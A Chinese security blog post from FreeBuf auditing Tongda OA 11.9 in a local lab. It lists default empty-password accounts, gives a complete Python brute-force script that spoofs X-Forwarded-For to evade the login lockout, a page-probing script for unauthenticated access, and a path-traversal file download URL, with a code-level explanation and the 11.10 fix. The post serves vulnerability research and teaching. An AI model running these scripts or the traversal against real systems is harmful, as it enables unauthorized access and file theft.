freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

某OA系统审计小记
2022-09-01 16:40:14
所属地 湖南省

通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。

通达oa 11.9 的下载地址,默认安装地址是 D:\MYOA,联网状态下会自动更新到通达 oa 11.10

安装成功后,登录界面如下 默认账号为 admin 对应密码为空。

image-20220818161509-bte0ncs.png

登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功

image-20220818162036-yl0tcuk.png

爆破密码

正常输入账号名密码时,输入三次错误就会禁止10分钟

image-20220818162752-7reiym9.png

image-20220818162909-338cxe5.png

我们可以通过代码方面追究其原因

webroot/inc/td_core.php

image-20220819153548-lr4wihc.png

$USER_IP 的值可以来自于 X-Forwarded-For

写个 python 脚本用于爆破用户名密码

image-20220819170418-k5owkxu.png

import requests
import sys
import re

def read_passwd(passwordfile):
 with open(file = passwordfile, mode='r') as f:
     passwd = f.read().splitlines()
     return passwd

def Intruder_password(url,username,passwd_list):
 success_str ="正在进入OA系统,请稍候..."
 a=b=c=d=0
 url = url +"/logincheck.php"
 for passwd in passwd_list:
     payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
     headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
     response = requests.request("POST", url, data=payload, headers=headers)
     if(re.search(success_str, response.text)):
         print("正确的账号名:{}密码:{}".format(username,passwd))
     else:
         print("错误密码:{}".format(passwd))
     d=d+1
     if(d == 255):
         c = c +1
         d = 0
     if(c == 255):
         b = b +1
         c = 0
     if(b == 255):
         a = a +1
         b =0


def main():
 if len(sys.argv) < 4:
     print("Usage: Intruder_password.py targeturl username passwdfile\n"
           "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
     exit()
 url = sys.argv[1]
 username = sys.argv[2]
 passwd_list = read_passwd(sys.argv[3])
 Intruder_password(url,username,passwd_list)

if __name__ == '__main__':
 main()

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

未授权敏感信息泄露

一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析

import os
import sys
import requests

def file_path(url,filefolder):
 for root, dirs, files in os.walk(filefolder):
     for f in files:
         paths = os.path.join(root,f)
         paths = paths.replace(filefolder,url)
         paths = paths.replace("\\","/")
         #print(paths)
         if(f.endswith(".php")):
             response = requests.get(paths)
             # print(str(response.status_code)+" "+str(len(response.text))+" "+paths)
             print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths )


def main():
 if len(sys.argv) < 3:
     print("Usage: file_path.py targeturl filefolder\n"
           "Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
     exit()
 url = sys.argv[1]
 filefolder = sys.argv[2]
 file_path(url,filefolder)


if __name__ == '__main__':
 main()

http://10.0.18.1/inc/reg.php泄露版本信息

image-20220826165743-hpc7tf9.png

还有很多可以未授权显示的页面,不一一展示了

未授权文件下载

通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载

构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a

image-20220826165859-9e64yjr.png

就可以下载到根目录下的 a.zip 文件

image-20220826165943-71b3940.png

我们从代码层面分析一下漏洞的成因

webroot/inc/package/down.php

image-20220826170025-d695sog.png

我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH中,并没有做任何过滤,传到函数 td_download

webroot/inc/utility_file.php

image-20220826171624-ya8a86s.png

如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码

webroot/inc/package/down.php我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载

image-20220826172055-l8h9lod.png

靶场实验练习推荐:

代码审计利器-RIPS实践(合天网安实验室)

# 漏洞挖掘 # 代码审计 # oa安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录